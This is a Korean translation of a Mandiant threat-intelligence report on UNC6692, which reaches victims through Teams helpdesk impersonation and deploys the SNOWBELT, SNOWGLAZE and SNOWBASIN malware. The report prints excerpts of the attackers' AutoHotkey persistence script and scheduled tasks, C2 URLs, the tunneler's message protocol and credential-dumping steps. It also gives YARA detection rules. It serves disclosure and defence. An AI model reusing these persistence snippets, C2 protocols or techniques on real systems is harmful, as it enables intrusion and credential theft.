[위협 분석] UNC6692의 '눈발(Snow Flurries)' 캠페인: 사회공학으로 침투하여 맞춤형 멀웨어를 퍼뜨리기까지
Mandiant
해당 블로그의 원문은 2026년 4월 24일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: JP Glab, Tufail Ahmed, Josh Kelley, Muhammad Umair
서론
구글 위협 인텔리전스 그룹(GTIG)은 신규 추적 대상인 위협 그룹 UNC6692이 수행한 다단계 침입 캠페인을 식별했습니다. 이들은 끈질긴 사회공학적 기법과 맞춤형 모듈식 멀웨어 스위트를 활용하고, 피해자 환경 내에서 기민한 측면 이동(Lateral movement)을 수행하여 네트워크 깊숙이 침투했습니다.
최근 몇 년간의 다른 많은 침입 사례와 마찬가지로, UNC6692은 IT 헬프데스크 직원을 사칭하는 수법에 크게 의존했습니다. 이들은 피해자를 설득하여 조직 외부 계정에서 보낸 Microsoft Teams 채팅 초대를 수락하게 만들었습니다. 이번 UNC6692 캠페인은 특히 사회공학, 맞춤형 멀웨어, 악성 브라우저 확장 프로그램을 사용하여 다양한 기업용 소프트웨어 제공업체에 대한 피해자의 본질적인 신뢰를 악용하는 등 흥미로운 전술적 진화를 보여줍니다.
위협 상세 내용
2025년 12월 말, UNC6692은 타겟에게 대량의 이메일을 발송하여 메시지 폭주로 인한 긴박함과 혼란을 조성하는 대규모 캠페인을 전개했습니다. 그 후 공격자는 헬프데스크 직원을 가장하여 Microsoft Teams를 통해 피싱 메시지를 보냈으며, 이메일 폭주 문제 해결을 도와주겠다고 제안했습니다.
감염 경로
피해자는 Microsoft Teams를 통해 연락을 받았으며, 이메일 스팸을 방지하는 로컬 패치를 설치하라는 링크를 클릭하도록 유도되었습니다. 링크를 클릭하면 사용자 브라우저에 HTML 페이지가 열리고, 최종적으로 공격자가 제어하는 AWS S3 버킷으로부터 이름이 변경된 AutoHotKey 바이너리와 동일한 이름의 AutoHotkey 스크립트가 다운로드되었습니다.
"url": "https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com",
"description": "Microsoft Spam Filter Updates | Install the local patch to protect your account from email spamming",
그림 1: MS Teams 로그 발췌
AutoHotkey 바이너리가 현재 디렉터리의 스크립트 파일과 동일한 이름을 가질 경우, AutoHotkey는 별도의 명령줄 인수 없이 해당 스크립트를 자동으로 실행합니다. 다운로드 직후 AutoHotkey가 실행된 정황이 기록되었으며, 이로 인해 초기 정찰 명령이 수행되고 악성 크로미움(Chromium) 브라우저 확장 프로그램인 SNOWBELT(Chrome 웹 스토어를 통해 공식 배포되지 않음)가 설치되었습니다. 맨디언트는 이 초기 AutoHotkey 스크립트를 복구하지는 못했습니다.
SNOWBELT는 여러 가지 방식으로 시스템 내 지속성(Persistence)을 확보했습니다. 첫째, Windows 시작프로그램 폴더에 AutoHotkey 스크립트 바로 가기가 추가되었습니다. 이 스크립트는 SNOWBELT가 실행 중인지, 그리고 예약 작업(Scheduled Task)이 존재하는지 지속적으로 확인하는 역할을 수행했습니다.
if !CheckHeadlessEdge(){
try{
taskService:=ComObject("Schedule.Service")
taskService.Connect()
rootFolder:=taskService.GetFolder("\")
if FindAndRunTask(rootFolder){
Sleep 10000
if CheckHeadlessEdge(){
ExitApp
}
}
}
Run 'cmd /c start "" "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\System Data" --headless=new --load-extension="%LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents" --no-first-run',,"Hide"
}
ExitApp
그림 2: SNOWBELT 실행 여부를 확인하고, 실행 중이 아닐 경우 시작하도록 하는 AutoHotkey 스크립트 발췌
둘째, 두 개의 예약 작업(Scheduled tasks)이 추가로 설치되었습니다. 하나는 SNOWBELT 확장 프로그램을 로드하는 창이 없는(windowless) Microsoft Edge 프로세스를 시작하는 작업이고, 다른 하나는 CoreUIComponents.dll이 로드되지 않은 Microsoft Edge 프로세스를 식별하여 강제 종료하는 작업입니다.
<Exec>
<Command>
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
</Command>
<Arguments>
--user-data-dir="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\System Data"
--no-first-run
--load-extension="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents"
--headless=new --disable-sync
</Arguments>
</Exec>
그림 3: 창이 없는 Microsoft Edge에서 SNOWBELT 확장 프로그램을 시작하는 예약 작업 발췌
CoreUIComponents.dll이 로드되지 않은 Microsoft Edge 프로세스는 일반적으로 헤드리스(Headless, UI 없이 백그라운드에서 동작) 상태입니다. 위협 행위자는 사실상 이 명령을 사용하여 자신들의 멀웨어를 실행한 헤드리스 Edge 프로세스를 "정리(Clean up)"합니다.
<Exec>
<Command>cmd</Command>
<Arguments>
/c "for /f "tokens=2" %p in ('tasklist /M SHELL32.dll ^| findstr "msedge.exe"') do @(tasklist /M CoreUIComponents.dll | findstr "%p" >nul || taskkill /F /PID %p)"
</Arguments>
</Exec>
그림 4: CoreUIComponents.dll 로드 여부를 확인하는 예약 작업 발췌
UNC6692은 SNOWBELT 확장 프로그램을 사용하여 SNOWGLAZE, SNOWBASIN, AutoHotkey 스크립트, 그리고 이식 가능한 Python 실행 파일 및 필요한 라이브러리가 포함된 ZIP 아카이브를 포함한 추가 파일들을 다운로드했습니다.
내부 정찰 및 측면 이동 (Internal Recon and Lateral Movement)
초기 접근 권한을 얻은 후, 프로세스 실행 텔레메트리에 따르면 UNC6692은 Python 스크립트를 사용하여 로컬 네트워크에서 135, 445, 3389 포트를 스캔했습니다. 내부 포트 스캐닝에 이어, 위협 행위자는 SNOWGLAZE 터널을 통해 피해자 시스템에 Sysinternals PsExec 세션을 수립하고, 로컬 관리자 계정을 열거(Enumerate)하는 명령을 실행했습니다. 위협 행위자는 로컬 관리자 계정을 사용하여 피해자 시스템에서 백업 서버로 연결되는 SNOWGLAZE 터널을 통해 RDP 세션을 시작했습니다. 직접적으로 관찰되지는 않았으나, 위협 행위자는 인증된 SMB(Server Message Block) 공유 열거와 같은 다양한 공격 경로를 통해 로컬 관리자 계정의 자격 증명을 획득했을 가능성이 있습니다.
권한 상승 (Escalate Privileges)
백업 서버에 대한 접근 권한을 얻은 후, 위협 행위자는 로컬 관리자 계정을 사용하여 Windows 작업 관리자로 시스템의 LSASS 프로세스 메모리를 추출했습니다. Microsoft Windows 로컬 보안 인증 하위 시스템 서비스(LSASS) 프로세스인 lsass.exe는 보안 정책을 적용하며, 시스템에 접속한 계정의 사용자 이름, 비밀번호 및 해시 정보를 포함하고 있습니다. 프로세스 메모리를 추출한 후, UNC6692은 이를 LimeWire를 통해 외부로 유출했습니다. 프로세스 메모리를 피해자 환경 밖으로 빼낸 덕분에, UNC6692은 탐지 걱정 없이 공격용 보안 도구를 사용하여 자격 증명을 추출할 수 있었습니다.
임무 완수 (Complete Mission)
권한이 상승된 사용자의 비밀번호 해시를 확보한 UNC6692은 해시 전달(Pass-The-Hash) 기법을 사용하여 네트워크의 도메인 컨트롤러로 측면 이동했습니다. 해시 전달은 위협 행위자들이 흔히 사용하는 기법으로, 계정 비밀번호 대신 NTLM 해시를 다른 시스템으로 전달하여 NTLM 인증을 받는 방식입니다. 도메인 컨트롤러에 대한 인증을 마친 위협 행위자는 Microsoft Edge를 열고, FTK Imager가 포함된 ZIP 아카이브를 도메인 관리자의 \Downloads 폴더에 다운로드했습니다. 이어 FTK Imager를 실행하여 로컬 스토리지 드라이브를 마운트했습니다. 그 결과, FTK Imager는 Active Directory 데이터베이스 파일(NTDS.dit), 보안 계정 관리자(SAM), SYSTEM 및 SECURITY 레지스트리 하이브(Hives)를 \Downloads 폴더에 기록했습니다. 추출된 파일들은 이후 LimeWire를 통해 네트워크 외부로 유출되었습니다. 마지막으로, EDR 텔레메트리에는 위협 행위자가 도메인 컨트롤러에서 화면 캡처를 수행하는 기록이 남았으며, 특히 활성화된 Microsoft Edge 및 FTK Imager 인스턴스를 집중적으로 캡처한 것으로 확인되었습니다.


그림 5: UNC6692 공격 라이프사이클
SNOW Ecosystem
피싱 랜딩 페이지
Microsoft Teams를 통해 전달된 원래 피싱 링크(https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com)는 피해자를 "사서함 복구 유틸리티"로 위장한 랜딩 페이지로 연결합니다. 이 인터페이스는 화면의 다양한 버튼을 통해 사용자의 참여를 유도하도록 설계되었습니다.


그림 6: 공식 "Mailbox Repair and Sync Utility v2.1.5"로 위장한 랜딩 페이지
Phase 1: 환경 강제 및 분석 우회
공격자는 자동화된 보안 샌드박스를 회피하는 동시에 의도한 대상에게만 페이로드가 전달되도록 설계된 게이트키퍼 스크립트를 사용했습니다. 랜딩 페이지는 로드되는 즉시 필수 파라미터인 ?email=이 URL에 포함되어 있는지 검사하는 init()함수를 실행합니다. 해당 파라미터가 없으면 페이지는 즉시 about:blank로 리다이렉트됩니다.
또한 스크립트는 피해자의 브라우저를 확인합니다. 사용자가 Microsoft Edge를 사용하고 있지 않다면 페이지에 지속적인 오버레이 경고를 표시합니다. 이를 통해 사용자가 "Edge에서 열기" 버튼을 클릭하도록 유도하며, 이는 microsoft-edge: URI 스키마를 트리거합니다. 이는 피해자를 잠재적으로 안전한 모바일이나 서드파티 브라우저 환경에서 벗어나, 공격자의 익스플로잇이 가장 효과적으로 작동하는 특정 작업 공간으로 확실하게 이동시키기 위함입니다.
Phase 2: 사회 공학을 통한 계정 정보 탈취
환경이 구축되면, 페이지는 공식 "사서함 복구 및 동기화 유틸리티"로 위장한 전문적인 디자인의 "구성 관리 패널"을 표시합니다. 주된 유인책은 클릭 시 "인증 필요" 모달창을 트리거하는 "최적화 상태 점검(Health Check)" 버튼입니다.
정보 탈취 스크립트인 handleAuthFormSubmit은 심리적인 허점을 노린 "이중 입력" 기법을 활용합니다. 이 스크립트는 사용자가 입력한 첫 번째와 두 번째 비밀번호를 잘못된 비밀번호라며 거부하도록 프로그래밍되어 있습니다. 이는 두 가지 기능을 수행합니다. 첫째, 시스템이 정상적이며 실시간 검증을 수행하고 있다는 사용자의 믿음을 강화합니다. 둘째, 공격자가 비밀번호를 두 번 캡처하도록 하여 훔친 데이터에 오타가 섞일 위험을 크게 줄여줍니다. 인증 화면의 스크린샷은 그림 7에 나와 있으며, 제공된 이메일은 기본적으로 입력되어 있습니다.


그림 7: "최적화 상태 점검" 버튼으로 인해 트리거된 계정 정보 탈취 창
Phase 3: 데이터 유출 및 시선 분산 시퀀스
성공적으로 양식이 제출되면, 스크립트는 AWS URL을 사용하는 비동기 PUT 요청을 실행합니다. 검증된 계정 정보와 메타데이터는 공격자가 제어하는 Amazon S3 버킷(예: service-page-18968-2419-outlook.s3.us-west-2.amazonaws.com, 현재는 차단됨)으로 직접 업로드됩니다. 이러한 버킷은 명령 제어(C2) 인프라 역할을 하며 주요 침해 지표(IOC)에 해당합니다.
이러한 백그라운드 활동을 은폐하고 사용자의 의심을 사지 않기 위해, 스크립트는 startProgressBar 함수를 시작합니다. 이는 "구성 데이터 파싱 중", "사서함 무결성 검사 중"과 같은 가짜 기술 작업이 포함된 스크립트 기반의 시선 분산 시퀀스를 표시합니다. 이러한 조작을 통해 데이터 전송이 완료될 때까지 피해자의 시선을 붙잡아 둡니다.


그림 8: 도난당한 데이터의 백그라운드 유출을 은폐하기 위해 사용된 스크립트 기반의 시선 분산 시퀀스
Phase 4: 악성코드 스테이징 및 엔드포인트 거점 마련
마지막 단계는 스크립트의 CONFIG 객체 내에서 참조되는 2차 악성 페이로드의 전달을 포함합니다. 진행률 표시줄이 작동하는 동안, 해당 사이트는 표 1에 기재된 파일들을 다운로드할 준비를 합니다.
사용자가 "Configuration completed successfully(구성 완료)" 메시지를 받을 때쯤이면, 공격자는 이미 자격 증명을 확보하고 이러한 단계별 파일을 사용하여 엔드포인트에 지속적인 거점을 마련했을 가능성이 있습니다.
UNC6692의 소행으로 추정되는 SNOW 악성코드 에코시스템은 SNOWBELT, SNOWGLAZE, SNOWBASIN의 세 가지 주요 컴포넌트로 구성된 모듈형 에코시스템으로 작동합니다. 이러한 컴포넌트들은 개별적으로 작동하는 도구가 아니라, 브라우저 기반의 최초 접근 단계부터 조직의 내부 네트워크까지 공격자의 침투 과정을 용이하게 만드는 유기적인 파이프라인을 형성합니다.


그림 9: SNOW 에코시스템
1.SNOWBELT (브라우저 확장 프로그램)
SNOWBELT는 초기 거점이자 작전의 핵심 '눈' 역할을 수행합니다. 이는 크로미움(Chromium) 브라우저 확장 프로그램 형태로 제공되는 자바스크립트(JavaScript) 기반 백도어로, 주로 "MS Heartbeat" 또는 "System Heartbeat"와 같은 이름으로 위장합니다. Chrome 웹 스토어를 통해 배포되는 것이 아니라, 사회공학적 기법을 통해 배포됩니다.
-
역할: 명령을 가로채고 이를 실행하기 위해 SNOWBASIN으로 전송하도록 설계되었습니다. 브라우저의 확장 프로그램 등록 시스템을 통해 지속성을 유지하며, 서비스 워커 알람(Service Worker Alarms) 및 활성 상태 유지 탭 주입(Keep-Alive Tab Injection, helper.html 활용)을 사용하여 브라우저가 실행 중일 때 항상 활성 상태를 유지하도록 합니다..
-
기능: 위협 행위자의 명령을 SNOWBASIN으로 전달함으로써, SNOWBELT는 환경에 대한 인증된 접근 권한을 제공합니다. 이를 통해 공격자는 지속적인 재인증 없이도 측면 이동(Lateral Movement)을 수행하고 권한을 상승시킬 수 있습니다.
2.SNOWGLAZE (Python Tunneler)
거점이 마련되면, 외부 통신의 물류를 관리하기 위해 SNOWGLAZE가 배포됩니다. SNOWGLAZE는 윈도우(Windows)와 리눅스(Linux) 환경 모두에서 작동할 수 있는 파이썬(Python) 기반 터널러입니다.
-
역할: 주요 기능은 피해자의 내부 네트워크와 Heroku 서브도메인 같은 공격자의 명령 및 제어(C2) 인프라 사이에 보안 및 인증된 웹소켓(WebSocket) 터널을 생성하는 것입니다. SOCKS 프록시 작업을 용이하게 하여, 감염된 호스트를 통해 임의의 TCP 트래픽이 라우팅될 수 있도록 합니다.
-
기능: SNOWGLAZE는 데이터를 JSON 객체로 감싸고 웹소켓을 통한 전송을 위해 Base64로 인코딩함으로써 악성 트래픽을 가장합니다. 이를 통해 해당 활동이 일반적인 암호화된 웹 트래픽처럼 보이게 만듭니다. 공격자가 SNOWBASIN과 같은 백도어와 상호작용하거나 준비된 데이터를 유출하고자 할 때, 트래픽은 이 구축된 터널을 통해 라우팅됩니다.
3.SNOWBASIN (Python Bindshell)
SNOWBELT가 사용자를 모니터링하고 SNOWGLAZE가 네트워크 간의 격차를 좁히는 동안, SNOWBASIN은 감염된 시스템에 대한 실질적인 대화형 제어 권한을 제공합니다.
-
역할: 로컬 HTTP 서버(일반적으로 8000번 포트 리스닝)로 작동하는 지속성 백도어 역할을 합니다. cmd.exe 또는 powershell.exe를 통한 원격 명령 실행, 스크린샷 캡처, 유출을 위한 데이터 스테이징 기능을 수행합니다.
-
기능: 이 컴포넌트는 적극적인 정찰과 미션 완수가 이루어지는 곳입니다. 공격자의 명령(whoami 또는 net user 등)은 SNOWGLAZE 터널을 통해 전송되고, SNOWBELT 확장 프로그램에 의해 가로채어진 후, HTTP POST 요청을 통해 SNOWBASIN 로컬 서버로 프록시됩니다. SNOWBASIN은 이러한 명령을 실행하고 그 결과를 동일한 파이프라인을 통해 공격자에게 다시 전달합니다.
멀웨어 분석
SNOWBELT
SNOWBELT는 크로미움 브라우저 확장 프로그램으로 구현된 자바스크립트 기반 백도어입니다. 이 멀웨어의 라이프사이클은 설치 시 background.js 서비스 워커의 실행과 함께 시작되며, 지속성을 유지하기 위해 브라우저의 확장 프로그램 등록 시스템을 활용합니다. 브라우저가 활성화되어 있는 동안 지속적인 작동을 보장하기 위해, 이 멀웨어는 서비스 워커 알람(agent-heartbeat) 및 활성 상태 유지 탭 주입(helper.html)을 활용합니다.
초기화 시 멀웨어는 fp-sw- 접두사 뒤에 UUID가 붙는 형태의 고유한 식별자를 생성합니다. 그런 다음 시간 기반 DGA를 채택하여 C2 URL을 계산합니다. 하드코딩된 시드 값(691f7258f212fa8908a8bf06bcf9e027d2177276e13e10ff56bd434ff3755cc4)을 사용하여 30분 시간 단위 내에서 S3 버킷의 레지스트리 URL을 생성합니다. 이러한 URL은 다음과 같은 특정 구조적 패턴을 따릅니다:
https://[a-f0-9]{24}-[0-9]{6,7}-{0-9}{1}.s3.us-east-2.amazonaws[.]com
이 레지스트리에서 가져온 매니페스트는 SHA256(SEED + "|" + timeslot)에서 파생된 키를 사용해 AES-GCM 방식으로 복호화됩니다.
낮은 대기 시간의 C2를 위해, SNOWBELT는 브라우저의 푸시 알림 서비스에 등록합니다. 이는 하드코딩된 다음과 같은 VAPID 공개 키를 사용하여 수행됩니다.
BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0이러한 설정은 공격자가 인증된 푸시 메시지를 통해 폴링(polling) 방식을 거치지 않고 서비스 워커를 즉시 "깨울" 수 있는 비동기 채널을 제공합니다. 또한, 이 멀웨어는 지속적인 REGISTRY_WEBSOCKET_URL 연결을 통해 실시간 상호작용을 지원합니다.
SNOWBELT는 로컬 웹 서버(일반적으로 8000번 포트)로 작동하는 백도어인 SNOWBASIN과 연계하여 기능합니다. command, buffer, flush, commit과 같이 복호화된 C2 명령을 HTTP POST 요청을 통해 SNOWBASIN으로 전달함으로써, 호스트 시스템에 셸 명령을 효과적으로 프록시합니다.
이 멀웨어는 브라우저 샌드박스를 우회하는 메커니즘도 포함하고 있습니다:
-
네이티브 호스트 브릿지 (open_native_messaging): hrome.runtime.connectNative를 사용하여 로컬 애플리케이션과 I/O 파이프를 구축하고 권한이 부여된 명령을 내립니다.
-
프로토콜 핸들러 악용 (open_uri): dream.html 및 dream.js를 사용하여 새 탭에서 커스텀 URI 스키마를 트리거하고 서브파티 데스크톱 애플리케이션의 취약점을 표적으로 삼습니다.
데이터 유출은 sendJsonDataToS3 함수에 의해 관리되며, 이 함수는 데이터를 S3에 업로드하기 전에 AES-GCM(키: SHA256(SEED + "|ping|" + bucket + "|" + objectKey))으로 암호화합니다. 백도어의 명령 집합은 표 2에 요약되어 있습니다.
마지막으로, SNOWBELT는 chrome.downloads.onChanged를 모니터링하여 피드백 루프를 구현합니다. 다운로드가 차단되면(예: FILE_VIRUS_INFECTED), 이 멀웨어는 에러를 S3 기반 C2로 다시 보고합니다.
SNOWBASIN
SNOWBASIN은 8000, 8001 또는 8002번 포트에서 로컬 HTTP 서버로 작동하는 파이썬 기반 백도어입니다. 핵심 기능에는 명령어 실행, 스크린샷 캡처, 데이터 유출 등이 있습니다. 또한 이 멀웨어는 운영자가 파일을 다운로드하거나 삭제하여 파일을 관리할 수 있도록 지원하며, 활성화된 연결을 종료하는 기능도 제공합니다. SNOWBELT는 localhost:8000으로 HTTP 요청을 전송하여 이 멀웨어에 명령을 전달합니다.
이는 피해자의 컴퓨터를 HTTP 요청을 통해 제어할 수 있는 명령 및 제어(C2) 노드로 전환합니다. 윈도우에서 실행되도록 설계되었으며(os.chdir('C:\') 및 cmd.exe 호출로 확인됨), 원격 행위자가 명령을 실행하고, 파일을 탈취하며, 스크린샷을 촬영할 수 있도록 허용합니다.
SNOWGLAZE
Python으로 개발된 네트워크 터널러 SNOWGLAZE는 하드코딩된 자격 증명을 사용하여 정적인 C2 호스트와 WebSocket 연결을 수립함으로써, 침해된 시스템을 통해 임의의 TCP 트래픽을 라우팅할 수 있게 해줍니다.
이 스크립트는 Windows와 Linux 모두에서 실행될 수 있도록 크로스 플랫폼용으로 설계되었으며, 각 운영 체제별 특성을 활용합니다. Windows 환경에서는 표준 키보드 인터럽트(Ctrl-C)로 관리 가능한 포그라운드(Foreground) 프로세스로 실행됩니다. 반면, Linux에서는 백그라운드 데몬(Daemon)으로 동작하며, 질서 있는 종료를 위해 SIGINT 및 SIGTERM 신호를 처리하는 전용 로직을 포함하고 있습니다.
통신을 수립하기 위해 이 멀웨어는 wss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/ws에 위치한 C2 서버를 타겟으로 삼으며, Microsoft Edge의 User-Agent 문자열을 사용하여 트래픽을 위장합니다. 초기 연결이 실패할 경우, 스크립트는 5초에서 시작하여 5초 간격으로 최대 300초까지 늘어나는 점진적 백오프(Incremental backoff) 전략을 사용합니다. WebSocket 핸드셰이크가 성공하면 다음과 같은 인증(Auth) 페이로드를 전송합니다.
{
"type": "auth",
"login": "<redacted",
"password": "<redacted",
"uuid": "<redacted>"
}인증이 완료되면 스크립트는 페이로드가 없는 "register" 유형의 메시지를 보낸 후, "agent_info" JSON 레코드를 전송합니다. 이 레코드 내의 "info" 필드는 공인 IP 주소를 담도록 설계되었으나, 스크립트 내 구현 오류로 인해 현재는 데이터가 채워지지 않은 상태로 유지됩니다.
연결이 완전히 수립되면 멀웨어는 JSON 형식의 명령을 대기합니다. 지원되는 "type" 값은 다음과 같습니다.
-
ping
-
스크립트가
"type": "pong"JSON 객체를 반환하도록 유도합니다. -
agent_public_ip
-
agent_info구조를 통해 호스트의 공인 IP를 보고하도록 설계되었으나, 현재 버전에서는 IP 필드가 항상 비어 있습니다. -
socks_connect
-
운영자가 세션 추적을 위해 제공하는 고유한
conn_id를 사용하여 새로운 SOCKS 프록시 연결을 요청합니다. 요청 형식은 다음과 같습니다.
{
"type": "socks_connect",
"conn_id": "<unique_connection_id>",
"target_host": "example.com",
"target_port": 80
}-
-
실행 시 비동기 워커 스레드(Worker thread)가 활성화되어,
socks_data유형의 JSON 캡슐화 및 Base64 인코딩을 활용해 TCP와 WebSocket 간의 데이터 전송을 관리합니다.
-
-
socks_data
-
WebSocket과 TCP 소켓 간의 양방향 데이터 교환을 지원합니다. 데이터는 아래와 같은 구조의
data필드 내에 Base64로 인코딩되어 포함됩니다.
-
{
"type": "socks_data",
"conn_id": "<unique_connection_id>",
"data": "bG9yZW0gaXBzdW0="
}-
socks_close
-
지정된
conn_id에 해당하는 특정 프록시 스트림을 종료합니다.
-
-
disconnect
-
모든 활성 프록시 연결을 끊고 스크립트 실행을 종료합니다.
-
전망 및 시사점
UNC6692 캠페인은 현대의 공격자들이 목표 환경에 초기 거점을 확보하기 위해 사회공학적 기법과 기술적 회피(Technical evasion)를 어떻게 정교하게 결합하는지 잘 보여줍니다. 이 전략의 핵심 요소는 페이로드 전달, 데이터 유출, 그리고 명령 제어(C2) 인프라 구축을 위해 합법적인 클라우드 서비스를 체계적으로 악용한다는 점입니다. 신뢰할 수 있는 클라우드 플랫폼에 악성 구성 요소를 호스팅함으로써, 공격자들은 종종 전통적인 네트워크 평판 필터를 우회하고 대량의 정상적인 클라우드 트래픽 속에 섞여 들어갈 수 있습니다.
이러한 "클라우드 기생(Living off the cloud)" 전략은 공격자들이 암호화되고 출처가 확실한 대량의 트래픽 속에 악성 작업을 숨길 수 있게 해 주며, 도메인 평판이나 IP 차단에 기반한 기존의 탐지 방식을 점점 더 무력하게 만듭니다. 방어자들은 이제 단순한 프로세스 모니터링 수준을 넘어 브라우저 활동과 승인되지 않은 클라우드 트래픽에 대한 명확한 가시성을 확보해야 합니다. 위협 행위자들이 이러한 모듈식의 크로스 플랫폼 방법론을 지속적으로 전문화함에 따라, 브라우저, 로컬 Python 환경, 그리고 클라우드 송신(Egress) 지점 전반에서 발생하는 개별적인 이벤트들을 상호 연관 지어 분석하는 역량이 초기 탐지에 필수적인 요소가 될 것입니다.
침해 지표 (IOCs)
보안 커뮤니티가 본 블로그 포스트에 명시된 활동을 추적(Hunting)하고 식별하는 데 도움을 주기 위해, 가입된 사용자들이 무료로 이용할 수 있는 GTI 컬렉션(GTI Collection)에 침해 지표(IOC)를 제공하고 있습니다.
네트워크 지표
파일 지표
YARA 규칙
SNOWGLAZE
rule G_Tunneler_SNOWGLAZE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
platforms = "Windows, Linux"
strings:
$r1 = /\.connect\(\s{0,25}WS_PROXY_URL/
$r2 = /"data":\s{0,1}base64\.b64encode\(\w{1,10}\)\.decode\('ascii'\)/
$r3 = /"type":\s{0,1}"socks_data"/
$r4 = /await\s{0,1}reader\.read\(\d{2,4}\)/
$r5 = /"login":\s{0,1}AGENT_LOGIN/
$r6 = /"password":\s{0,1}AGENT_PASSWORD/
$r7 = /"uuid":\s{0,1}AGENT_UUID/
$s1 = ".socks_tcp_to_ws"
condition:
5 of ($r*)
and $s1
}SNOWBELT
rule G_Backdoor_SNOWBELT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
platform = "Windows"
strings:
$str1 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"decrypt\"])"
$str2 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"encrypt\"])"
$str3 = "sendJsonDataToS3"
$str4 = "processCommand"
$str5 = "\"screenshot\"===cmdType"
$str6 = "\"payload\"===cmdType"
$str7 = "\"websocket_control\"===cmdType"
$str8 = "\"open_uri\"===cmdType"
$str9 = "\"delete_cache\"===cmdType"
$str10 = "\"payload_download_complete\""
$str11 = ".s3.us-east-2.amazonaws.com/"
condition:
all of them
}SNOWBASIN
rule G_Backdoor_SNOWBASIN_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
platform = "Windows"
strings:
$path1 = "self.path == '/probe':"
$path2 = "self.path == '/stream':"
$path3 = "self.path == '/buffer':"
$path4 = "self.path == '/flush':"
$path5 = "self.path == '/commit':"
$path6 = "self.path == '/capture':"
$path7 = "self.path == '/gc':"
$func1 = "self.handle_stream("
$func2 = "self.handle_buffer("
$func3 = "self.handle_flush("
$func4 = "self.handle_commit("
$s1 = "self.wfile.write(info_msg"
$s2 = "selected_port), WebServerHandler) as httpd:"
$s3 = "ThreadedTCPServer(socketserver.ThreadingMixIn"
$s4 = "httpd.serve_forever()"
condition:
filesize<1MB and (
(all of ($s*) and 6 of ($path*, $func*)) or
(8 of ($path*, $func*)) or
10 of them
)
}MITRE ATT&CK
감사의 글
이 분석은 분석과 블로그 포스팅 검토를 도와준 맨디언트 컨설팅(Mandiant Consulting), 구글 위협 인텔리전스 그룹(GTIG), 그리고 FLARE 팀의 여러 전문가의 지원이 있었기에 가능했습니다. 또한 이 위협에 대응하기 위해 협력해 주신 아마존(Amazon) 측에도 감사의 말씀을 전합니다.
